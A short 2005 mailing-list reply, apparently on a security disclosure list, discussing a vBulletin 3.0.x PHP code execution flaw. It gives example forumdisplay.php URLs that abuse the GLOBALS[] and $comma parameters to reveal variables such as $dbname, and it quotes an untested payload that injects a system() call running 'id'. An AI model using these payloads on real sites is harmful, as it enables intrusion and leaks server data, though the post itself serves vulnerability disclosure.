Re: vbulletin 3.0.x PHP code execution

From: AL3NDALEEB. <al3ndaleeb_at_uk2.net>
Date: 15 Feb 2005 22:53:46 -0000

('binary' encoding is not supported, stored as-is) In-Reply-To: <opsl7ypolvsmddlu_at_sampah>

with nested variable you can't run PHP CODE but you can evaluate value of variables .

ex:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

>On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb_at_uk2.net> wrote:
>
>The 4th condition is the most hard to find condition in php installation.
>There is a technique to by pass magic quote condition by supplying nested
>variable to $comma. Since I've no vbulletin source code to test with this
>technique is not confirmed in this vulnerability.
>
>example:
> http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id
>
>It isnever tested to real
Received on Feb 16 2005